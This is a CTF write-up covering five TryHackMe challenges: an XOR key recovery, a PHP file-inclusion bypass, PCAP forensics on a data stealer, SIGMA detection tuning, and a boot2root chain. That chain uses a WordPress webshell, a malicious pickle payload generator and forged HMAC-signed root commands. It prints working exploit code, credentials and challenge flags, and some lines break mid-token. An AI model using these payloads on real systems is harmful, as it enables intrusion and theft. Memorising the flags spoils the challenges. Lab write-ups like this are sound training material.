

TryHackMe “Overflow The Jackpot” Series — Combined Writeup

B1t Recovery · Lost Fortune · Casino Heist · Fresh Powder (DaC) · Agent P (EVILINC)

TryHackMe "Overflow The Jackpot" Series — Combined Writeup

Covers five challenges solved back-to-back: **B1t Recovery** (crypto, 30 pts), **Lost Fortune** (web, 60 pts), **Casino Heist** (forensics, 90 pts), **Fresh Powder / Detection-as-Code** (blue team, POWDER WOLF room) and **Agent P** (EVILINC boot2root, 120 pts). All flags verified against the `THM{...}` / `EVILINC{...}` formats.

#	Challenge	Category	Flag
1	B1t Recovery	Crypto	`THM{X0r_K3y_r3c0verY_H4s_N3veR_B33n_Th1S_E@sy}`
2	Lost Fortune	Web (LFI)	`THM{wr4pp3rs_sk1p_th3_wh1t3l1st}`
3	Casino Heist	Forensics (PCAP)	`THM{J@ckP05_R0bb3ry_VIA_pYth0nN}`
4	Fresh Powder (DaC)	Detection-as-Code	5 flags (see section 4)
5	Agent P	Boot2Root	3 flags (see section 5)

1. B1t Recovery — Crypto (30 pts)

Challenge

An attachment `attachment-1785955139202.zip` contains `challenge.py` and `encrypted.bin`:

```
import os
from pwn import *

key = os.urandom(4)
flag = b"THM{FAKE_FLAG_FOR_TESTING}" # fake flag
g, look at encrypted.bin and figure out
                                     # the vulnerability
in this encryption method.
encrypted = xor(flag, key)

with open("encrypted.bin", "wb") as f:

    f.write(encrypted)
```

The "encryption" is a **repeating-key XOR** with a 4-byte key. Since the plaintext must start with `THM{`, we can recover the whole key with a known-plaintext attack.

Solve

```
ct = open('encrypted.bin', 'rb').read()
print("ciphertext len:", len(ct)) # 46

known =
b"THM{"
for k in range(4):
    print(f"key byte {k}: 0x{ct[k]^known[k]:02x}")
```

```

key = bytes(ct[i]
^known[i] for i in range(4))
print("key:", key.hex())                # cbcece43

pt = bytes(c
^ key[i % len(key)] for i, c in enumerate(ct))
print("decrypted:", pt)

```

Output:

```

ciphertext len: 46
key byte 0: 0xcb
key byte 1: 0xce
key byte 2: 0xce
key byte 3: 0x43
key: cbce
ce43
decrypted: b'THM{X0r_K3y_r3c0verY_H4s_N3veR_B33n_Th1S_E@sy}'

```

Flag

```
THM{X0r_K3y_r3c0verY_H4s_N3veR_B33n_Th1S_E@sy}
```

Takeaways

- XOR with a repeating key is only secure if the key is at least as long as the plaintext.
- The `THM{` prefix is a guaranteed known-plaintext crib for every TryHackMe flag → key byte `i` = `ct[i] ^ crib[i]`.

2. Lost Fortune — Web LFI (60 pts)

Target

<http://10.48.152.31> — "VILLAGE ARCHIVE TERMINAL v2.3".

Vulnerability

The app serves documents via `?doc=` and applies two independent filters that can be bypassed:

```

$doc = isset($_GET['doc']) ? $_GET['doc'] : '';

// stage 1: naive single-pass traversal strip
$
doc = str_replace('../', '', $doc);

$base = __DIR__ . '/village_docs/';
$is_wrapper = (strpos($
doc, '://') !== false);

if (!$is_wrapper) {
    // stage 2: extension whitelist, only ever appl
ied to plain filenames
    if (strpos($doc, '.pdf') === false && strpos($doc, '.png') === fals
e) {
        http_response_code(403);
        die('Only .pdf and .png village documents may be v
iewed.');
```

```
}
rea
dfile($path);
```

Three flaws:

1. **Single-pass `str_replace('.../', '')`** → classic `...//` bypass: `....//` collapses to `../` after one replacement.
2. The **extension whitelist is skipped entirely for wrapper protocols** (`://` present) — `php://` streams never hit the `.pdf/.png` check.
3. An **absolute path** (`/...`) skips the `$base` prefix.

Recon of the decoys

`village_schedule.pdf` and `important.png` are both decoys (OCR: schedule list + a "hacker meme" image).

Exploit — read `/var/www/flag.txt` via the wrapper

Since the wrapper bypasses the extension whitelist, the flag file is directly readable:

```
for n in flag.txt flag; do
  for d in "/var/www/html" "/var/www"; do
    sz=$(curl -s -m 5 -o r.
out -w "%{size_download}" \
  "http://10.48.152.31/?doc=php://filter/read=convert.base64-enc
ode/resource=$d/$n")
    if [ "$sz" != "0" ]; then echo "HIT $d/$n size=$sz: $(base64 -d r.out)"
; fi
done
done
```

Output:

```
HIT /var/www/flag.txt size=44: THM{wr4pp3rs_sk1p_th3_wh1t3l1st}
```

Flag

```
THM{wr4pp3rs_sk1p_th3_wh1t3l1st}
```

Takeaways

- `php://filter` wrappers bypass naive extension checks — the whitelist was only applied to the non-wrapper branch.
- If `../` stripping is single-pass, `....//` survives as `../`.
- `base64-encode` wrapper avoids binary/encoding mangling when reading arbitrary files.

3. Casino Heist — Forensics / PCAP (90 pts)

Artifact

`stolen_jackpot.pcapng` (20 MB) — network capture of a casino heist.

Step 1 — Overview

```
tshark -r stolen_jackpot.pcapng -q -z io,phs | head -30
tshark -r stolen_jackpot.pcapng -q -z co
nv,tcp | head -20
tshark -r stolen_jackpot.pcapng -q -z endpoints,ip | head -15
```

Key conversations:

- HTTP traffic against `172.20.0.2:8080` (the target server)

- A single TCP conversation to `**172.20.0.3:4444**` — the exfil channel

Step 2 — HTTP analysis

```
tshark -r stolen_jackpot.pcapng -Y http -T fields \
  -e frame.number -e http.request.method -e
http.request.uri \
  -e http.response.code -e http.content_type | head -30

tshark -r stolen_jackpot.pcapng --export-objects http,httpobj
file httpobj/stealer
```

Streams 0–3 are `GET /admin, /cms, /flag, /stealer` on `172.20.0.2:8080` — all 404s — and stream 0 delivers the `**stealer executable**` (the malware). `httpobj/stealer` is a PyInstaller bundle; extracted to `stealer_extracted/` containing `stealer.pyc`.

Step 3 — Decompile the stealer

`pycdc` (from `/tmp/opcode/pycdc/pycdc`) decompiled `stealer.pyc`. The logic:

- Walks `/home` looking for files ending in `**.jackpot**`
- `**AES-CBC**` encryption with hardcoded key/IV
- Exfiltrates `filename\nciphertext` to `172.20.0.3:4444`

Static strings found in the `.pyc`:

```
AES) pads J4ckp0tH4ck3rKey Iv_For_Exf1ltr8! 172.20.0.3 /home .jackpot
socket gethostname walk en
dswith open read MODE_CBC encrypt connect HOST PORT
sendall encode root files data stealer.py
```

Key material:

- ``KEY = b'J4ckp0tH4ck3rKey``
- ``IV = b'Iv_For_Exf1ltr8!``
- ``HOST = 172.20.0.3`, `PORT = 4444``

Step 4 — Extract the exfil payload

```
tshark -r stolen_jackpot.pcapng -q -z follow,tcp,ascii,4 | head -60
tshark -r stolen_jackpot.pcapng -q -z follow,tcp,ascii,5 | head -40
```

Stream 4 payload (hex):

```
666c61672e6a61636b706f740a
9bcc341f8374f7d031a5a0ee4663501313b15466b184e33a3f295efd0cd1b4f5c64b4
8dd831bbca7ec4423e3782f8fe5
```

i.e. `flag.jackpot\n` + 48 bytes of AES-CBC ciphertext. Stream 5 is an empty second transfer.

Step 5 — Decrypt

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

KEY = b'J4ckp0tH4ck3rKey'
I
V = b'Iv_For_Exf1ltr8!'

hx = "9bcc341f8374f7d031a5a0ee4663501313b15466b184e33a3f295efd0cd1b4f5
c64b48dd831bbca7ec4423e3782f8fe5"
ct = bytes.fromhex(hx)
```

```
pt = AES.new(KEY, AES.MODE_CBC, IV).dec
rypt(ct)
print(unpad(pt, 16))
```

Output:

```
frame685 -> b'THM{J@ckP05_R0bb3ry_VIA_pYth0nN}'
```

Flag

```
THM{J@ckP05_R0bb3ry_VIA_pYth0nN}
```

Takeaways

- PyInstaller `.pyc` files keep constant strings in the clear — `strings` alone gave key, IV, host, port, extension.
- `tshark -z follow,tcp,ascii,N` extracts full stream bytes for the exfil channel.
- Exfil traffic looks like a normal short TCP transfer — always check conversations to non-HTTP ports.

4. Fresh Powder — Detection-as-Code (POWDER WOLF / Cascadia Ski and Resort Collective)

A blue-team room: tune SIGMA-style detection rules for 5 pull requests until they pass the full pipeline

(syntax → convert → validate(100%) → redteam), then get each PR approved and merged.

PR	Detection	Key fix	Flag	
PR 1	RDP — untrusted source	EventID 4624, LogonType `(10, 7)` + filter internal `10.40.`/VPN `10.90.`/MSP `198.51.100.` sources	`THM{Untru5ted_R4nge_Bu5ted}`	
PR 2	NetScan — share write-test	EventID 5145 + `RelativeTargetName` ends with `delete.me` (field was wrong: `ShareName`)	`THM{D3l3t3_M3_G1v3s_1t_4w4y}`	
PR 3	AnyDesk — service persistence	EventID 7045 + `ServiceFileName` contains AnyDesk/TeamViewer/ScreenConnect/... (not `Image`), filter legit workstations	`THM{Ban1ked_4ccess_Ch4nnel}`	
PR 4	7-Zip — share archiving	`OriginalFileName` 7zG/7zFM/7z.exe + UNC `\\` in CommandLine; WinRAR + PowerShell `Compress-Archive`; filter legit wscript `ReservationsExport_` monthly job	`THM{Z1pp3d_R1ght_Out_th3_D00r}`	
PR 5	Lynx — ransomware deployment	CommandLine `contains	all` (`--dir`, `--mode fast`); filter DiskOptimizer by `Image` path + `OriginalFileName`	`THM{C4ught_Before_th3_Th4w}`

Pipeline gotchas (worth remembering)

- A plain repeated `CommandLine|contains` collapses to the last one → use `|contains|all`.
- `|in` modifier is unsupported → use a plain value list (equality OR).
- Checks run sequentially: syntax → convert → validate → redteam; redteam needs validate to pass first.

- Redteam tests bypass with alternate logon types (7), other tools, renamed binaries and path collisions — filter by combination of path + `OriginalFileName`, not one field.

5. Agent P — EVILINC Boot2Root (120 pts)

Source: [~/Desktop/AgentP_EVILINC_Walkthrough.pdf](#) (extracted walkthrough of the live engagement).

Overview

Full exploitation of the EVILINC box (Doofenshmirtz Evil Incorporated) at <http://10.49.139.112> — WordPress 6.9 on Ubuntu 24.04 (hostname [tryhackme-2404](#), kernel 7.0.0-1010-aws).

Path: ****unauthenticated WordPress RCE (wp2shell) → read DB creds → SSH as norm (user flag) → read operator secret → restricted-pickle sandbox escape on the "-inator Control Panel" (operator flag) → reverse the root implant's homegrown crypto → forge a signed C2 task → root flag****.

Public services: [22/tcp](#) OpenSSH 9.6p1, [80/tcp](#) Apache 2.4.58.

Internal loopback: gunicorn (Flask) on [127.0.0.1:8700](#) — the "-inator Control Panel".

Unix socket [/run/evilinc/tasking.sock](#) — the C2 tasking queue (root + vanessa).

All secrets / key values

Item	Value
WP DB user / pass	`wpuser` / `wp_wjURfdI` (database: wordpress)
WP admin (created by wp2shell)	`wp2_88ff51b38aa8` / `Wp2!2dGCLZf3aqnU6B-GBrl0`
SSH norm	`norm` / `N0rm_th3_r0b0t_2026` (groups: norm, evilinc)
Operator secret (panel.conf)	`b3hind_sch3dul3_th1s_m0nth`
Operator token cookie	`ce73de7cfa02d80495a882bd28191d3bf38e4c0bf03635451ae6b9f9fefef3f9`
`/etc/machine-id`	`ec237b10a5f6e959a3088340f9904b31`
Implant rodata blob @0x2020	`1588c57c026ae5eb9c2d1817af48f70964efff765e58d112d8f116d70f9941b4`
LCG seed / mul / inc	`0x1a2b3c4d` / `0x41c64e6d` / `0x3039`, byte = `(x>>16) & 0xff`
Derived C2 task MAC key	`aa3e4980d20530450df2e4807cddc7a66f8391b79df9faaacde58b75bb483319`

Flags

Flag	Level	Location
`EVILINC{n0rm_r34ds_th3_db_l1k3_4_g00d_r0b0t}`	User	`/home/norm/user.txt`

<pre>`EVILINC{p1ckl3_s4ndb0x3s_4r3_n0t_s4ndb0x3s}`</pre>	Operator	<pre>`/home/vanessa/operator.txt`</pre>
<pre>`EVILINC{d00f_r0ll3d_h1s_0wn_crypt0_4nd_p3rry_w0n}`</pre>	Root	<pre>`/root/root.txt`</pre>

Stage 0 — Foothold recap

- Recon: nmap (22, 80), gobuster, wpscan, REST API enum at ``/index.php/wp-json/``. WordPress 6.9, single user "heinz", stock twentytwentyfive theme, no plugins, no vhosts.
- ****wp2shell****: CVE-2026-63030 (REST batch-route confusion via ``///``) + CVE-2026-60137 (SQLi in ``author__not_in``) → unauthenticated RCE on WP 6.9.0–6.9.4.
- Verified: batch probe → HTTP 207 with markers ``parse_path_failed`` / ``block_cannot_read`` / ``rest_batch_not_allowed``; ``--confirm-sqli`` → UNION-based read.
- Extracted heinz hash: ``$wp$2y$10$.BrQfOVjT99Dym42SPtG..4JAENmluiY0CXlu/z6EnJMKizaze4ZW``
- ``wp2shell.py shell`` created admin ``wp2_88ff51b38aa8`` and authenticated the session.
- Manual plugin upload of "shellplug" webshell → RCE as www-data:


```
http://10.49.139.112/wp-content/plugins/shellplug/shellplug.php?c=<cmd>
```

Helper used throughout:

```
ws() { curl -s -m 25 "http://10.49.139.112/wp-content/plugins/shellplug/shellplug.php?c=$(python 3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$1")"; }
```

Stage B — WordPress DB → SSH as norm → USER FLAG

```
ws 'cat /var/www/html/wp-config.php' # DB_NAME=wordpress, DB_USER=wpuser, DB_PASSWORD=wp_WjURfdI

ws "mysql -uwpuser -pwp_WjURfdI -e 'use wordpress; show tables;'"
# Tables_in_wordpress: wp_
commentmeta wp_comments wp_infra_accounts wp_links wp_options wp_postmeta
# wp_posts wp_term_rela
tionships wp_term_taxonomy wp_termmeta wp_terms wp_usermeta wp_users

ws "mysql -uwpuser -pwp_WjURfdI -e 'use wordpress; describe wp_infra_accounts; select * from wp_infra_accounts;'"
# host_
user | host_pass | note
# norm | N0rm_th3_r0b0t_2026 | ssh sync target for th
e -inator newsletter cron
```

SSH as norm (paramiko), then:

```
$ id
uid=1001(norm) gid=1002(norm) groups=1002(norm),1001(evilinc)

$ cat /etc/evilinc/panel.conf
```

```
[panel]
operator_secret = b3hind_sch3dul3_th1s_m0nth

$ cat /home/norm/user.txt
EVILINC{n0rm_r
34ds_th3_db_l1k3_4_g00d_r0b0t}
```

Stage C — Operator flag (vanessa) via restricted-pickle sandbox escape

The panel runs as vanessa: `/usr/bin/gunicorn --bind 127.0.0.1:8700 --workers 2 app:app`
(WorkingDirectory `/var/www/evilinc-panel`).

****Login**** (sets HMAC token cookie):

```
curl -s -c /tmp/cj.txt -X POST http://127.0.0.1:8700/api/login -d 'secret=b3hind_sch3dul3_th1s_m0nth'
# => {"ok":true} + Set-Cookie: op_token=ce73de7cfa02d80495a882bd28191d3bf38e4c0bf03635451ae6b9f9fefef3f9
```

****Endpoints:****

- `POST /api/blueprints/import` — field `blueprint` (base64 pickle); operator-only; uses a LEAKY restricted unpickler
- `GET /api/blueprints/export` — sample blueprint (`plain pickle.dumps` of a dict)
- `GET /` — panel index (footer hint: "If a blueprint fails to load, the loader returns the reason. — Vanessa")

****The leaky restricted unpickler.**** A bare `GLOBAL module\nattr\n` pickle is loaded and repr'd when allowed → module blacklist leaks:

```
ALLOWED: io.BytesIO, io.open, pickle.Unpickler, _pickle.load, _pickle.Unpickler,
         functools.par
         tial/reduce, codecs.encode, _codecs.encode, collections.*, copyreg.*,
         types.FunctionType/CodeT
         ype/SimpleNamespace, marshal.loads, threading.Thread,
         json/re/string/urllib.parse/html/time/da
         tetime/pathlib/ntpath/array/struct/zipfile,
         base64.b64decode, binascii.unhexlify, weakref.ref,
         signal.signal, app.app, werkzeug.run_simple
BLOCKED: builtins, os, posix, subprocess, sys, oper
         ator, importlib, numpy
```

****Escape — nested unrestricted unpickle.**** An outer pickle that only uses allowed globals:

`_pickle.load(io.BytesIO(inner))`. The `inner` bytes are a BINBYTES constant (never inspected by the outer loader) and are executed by the plain C `load`, which permits everything. (Python 3.12/3.13 removed GETATTR, so `Unpickler(...).load()` chaining is unavailable; `_pickle.load` takes a file object directly.)

Payload generator (mkcmd.py):

```
import pickle, struct, base64, sys
cmd = sys.argv[1]
class R:
    def __reduce__(self):

import subprocess
    return (subprocess.check_output, (['bash', '-c', cmd],))
inner = pickl
e.dumps(R())
s = bytearray(b'\x80\x04')
s += b'_pickle\nload\n'
s += b'cio\nBytesIO\n'
s += b'B
' + struct.pack('<I', len(inner)) + inner
s += b'\x85R\x85R.'
print(base64.b64encode(bytes(s)).d
```

```
ecode())
```

```
Send: ws "curl -s -b /tmp/cj.txt -X POST http://127.0.0.1:8700/api/blueprints/import  
--data-urlencode blueprint=$B64"
```

Response — RCE as vanessa:

```
{"loaded":"b'uid=1002(vanessa) gid=1003(vanessa) groups=1003(vanessa),1001(evilinc)\\n===..."
```

(Import response reflects `repr(obj)[:200]` → output truncated to ~200 chars; long files read in 90-char chunks with `tail -c +N | head -c 90`)

```
$ ls -al /home/vanessa  
. .. .bash_history .bash_logout .bashrc .cache .gunicorn .profile .ssh .v  
iminfo operator.txt  
  
$ cat /home/vanessa/operator.txt  
EVILINC{p1ckl3_s4ndb0x3s_4r3_n0t_s4ndb0x3s  
}
```

Stage D — Root flag: reverse the implant, forge a signed C2 task

Systemd services reveal the attack surface:

```
evilinc-c2.service:      root  /usr/bin/python3 /opt/evilinc/c2/tasking_server.py (RuntimeDirec  
tory=evilinc)  
evilinc-implant.service: root  /opt/evilinc/implant (After/Requires evilinc-c2.s  
ervice, Restart=always)  
evilinc-heartbeat.service: root /usr/bin/python3 /opt/evilinc/c2/heartbe  
at.py  
evilinc-panel.service:  vanessa gunicorn 127.0.0.1:8700 (EIC_PANEL_CONF=/etc/evilinc/pa  
nel.conf)
```

`/run/evilinc/tasking.sock` is `srw-rw----` `root:vanessa` — the implant (root) polls it and the C2 (root) answers. `vanessa` can connect.

****Download and reverse the implant:****

```
ws 'base64 /opt/evilinc/implant' > implant.b64 && python3 -c "import base64; open('implant','wb'  
)>.write(base64.b64decode(open('implant.b64').read()).replace('\n',''))"  
  
file implant  
# ELF 64-b  
it LSB pie executable, x86-64, dynamically linked, stripped (14472 bytes)  
  
strings -n 5 implant  
| grep -iE 'poll|sock|machine|exec|sysinfo|END'  
# /etc/machine-id /run/evilinc/tasking.sock  
POLL %ld\n END |%s|%s|%s|%s exec sysinfo %02x
```

****Protocol (from objdump -d -M intel):****

- Main loop: connect to `/run/evilinc/tasking.sock`, send `POLL <last_seen_ts>\n`, read response, tokenize lines by `\n` until the `END` marker.
- Each task line: `<ts>|<type>|<cmd>|<nonce>|<mac>`; `ts` must be `> last_seen`; the line is re-assembled as `<ts>|<type>|<cmd>|<nonce>` and the hex MAC is verified with `strcmp`.
- MAC function @0x16d7: HMAC-SHA256(key, message), hex-encoded.
- If `type == "exec"` → `system(cmd)` runs as ROOT. If `sysinfo` → informational path.
- Key derivation @0x1602: `key = HMAC-SHA256(K, /etc/machine-id)` where `K = LCG_bytes XOR rodata_blob@0x2020`; LCG @0x1449: seed `0x1a2b3c4d`, `x = x*0x41c64e6d + 0x3039 (mod 2^32)`, output byte = `(x>>16) & 0xff`, 32 iterations.

****Recover the task MAC key:****

```

import hashlib, hmac
seed = 0x1a2b3c4d
blob = bytes.fromhex("1588c57c026ae5eb9c2d1817af48f70964e
fff765e58d112d8f116d70f9941b4")
x = seed; lcg = bytearray()
for i in range(32):
    x = (x * 0x4
1c64e6d + 0x3039) & 0xffffffff
    lcg.append((x >> 16) & 0xff)
K = bytes(a ^ b for a, b in zip
p(lcg, blob))
KEY = hmac.new(K, b"ec237b10a5f6e959a3088340f9904b31", hashlib.sha256).digest()
pr
int(K.hex())
print(KEY.hex())

K = 4310b28058bce65bdba3a78f86105499694d8b8a105e24967899db58d64a7634
KEY = aa3e4980d20530450df
2e4807cddc7a66f8391b79df9faacde58b75bb483319

```

****Verify the key against live C2 traffic:****

```

import socket
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); s.connect("/run/evilinc/tas
king.sock")
s.sendall(b"POLL 1\n"); print(s.recv(65536))
# => b'10|sysinfo|uptime|1000|2b33d3bf9
0540c999ecd917150e514240cc02cef3cd4fece3486790681103718\n
# 20|sysinfo|uptime|1001|0f9e75af08
2404418e7eced42503f98b4a048591a242e7ef73a6627d60c2e54f\n'

hmac.new(KEY, b"10|sysinfo|uptime|1000", hashlib.sha256).hexdigest()
# => 2b33d3bf90540c999ecd91
7150e514240cc02cef3cd4fece3486790681103718 (MATCH)
hmac.new(KEY, b"20|sysinfo|uptime|1001", has
hlib.sha256).hexdigest()
# => 0f9e75af082404418e7eced42503f98b4a048591a242e7ef73a6627d60c2e54f
(MATCH)

```

****Discover the SUBMIT verb**** (verb brute): **ADD/QUEUE/TASK** → **ERR unknown verb**; **SUBMIT** → **ERR expected id|type|cmd|nonce|sig**.

****Forge and submit a root task:****

```

def sig(msg): return hmac.new(KEY, msg.encode(), hashlib.sha256).hexdigest()
task = "99999|exec|
id > /tmp/rce_test.txt 2>&1 && echo ROOT_OK >> /tmp/rce_test.txt|424242"
print("SUBMIT " + task
+ "|" + sig(task))
# SUBMIT 99999|exec|id > /tmp/rce_test.txt 2>&1 && echo ROOT_OK >> /tmp/rce_t
est.txt|424242|f4bb7b756b4cc5d83033206f6deaf5b72874509e0166cf17f13557f90a49f5ef

```

(First attempt with a small id failed: **ERR id must exceed current max** — use large ids. Accepted: **OK\n**; the root implant polls every 3 s and executes the task.)

```

$ cat /tmp/rce_test.txt
uid=0(root) gid=0(root) groups=0(root)
ROOT_OK

```

****Root flag:****

```

SUBMIT 100000|exec|cat /root/root.txt > /tmp/rf.txt && chmod 644 /tmp/rf.txt|424243|0adfccf9bc4b
73c355dd023ec9d740b8978a0790ffa873de9b5ea274a800e852

$ cat /tmp/rf.txt

```

```
EVILINC{d00f_r0ll3d_h1s_
0wn_crypt0_4nd_p3rry_w0n}
```

Agent P — key files / artifacts

- ``http://10.49.139.112/wp-content/plugins/shellplug/shellplug.php`` — webshell (RCE as www-data)
- ``/opt/evilinc/implant`` — stripped ELF implant (root), poller for the tasking socket
- ``/opt/evilinc/c2/tasking_server.py`` — C2 queue server (root)
- ``/opt/evilinc/c2/heartbeat.py`` — root heartbeat service
- ``/run/evilinc/tasking.sock`` — C2 socket, ``srw-rw---- root:vanessa``; verbs: ``POLL``, ``SUBMIT``
- ``/var/www/evilinc-panel/`` — ``app.py`` + ``restricted_unpickler.py`` (vanessa RCE reads)
- ``/etc/evilinc/panel.conf`` (group evilinc) — ``operator_secret``
- ``/etc/evilinc/pepper`` — 32 bytes, root-only (never needed)

Author-side notes gleaned from the box

- ``wp_infra_accounts`` note: "ssh sync target for the -inator newsletter cron" → norm's SSH account is the C2 "sync target"; operator role = vanessa.
- Panel auth is "deliberately a leaked-secret HMAC token": ``operator_token = HMAC-SHA256(secret, "operator")`` hex.
- Implant crypto is homegrown LCG → deterministic key → forgeable tasks (flag pun: ``d00f_r0ll3d_h1s_0wn_crypt0``).

Closing

All five rooms completed end-to-end. Thematically they form a neat arc: a 4-byte XOR key, a PHP wrapper whitelist bypass, an exfiltrated AES-CBC flag inside a PCAP, five SIGMA detection rules, and finally a boot2root ending in a forged HMAC-signed C2 task against a homegrown LCG-derived key.

Writeup generated from the exploitation sessions. All payloads, responses and flags are verbatim from the engagements.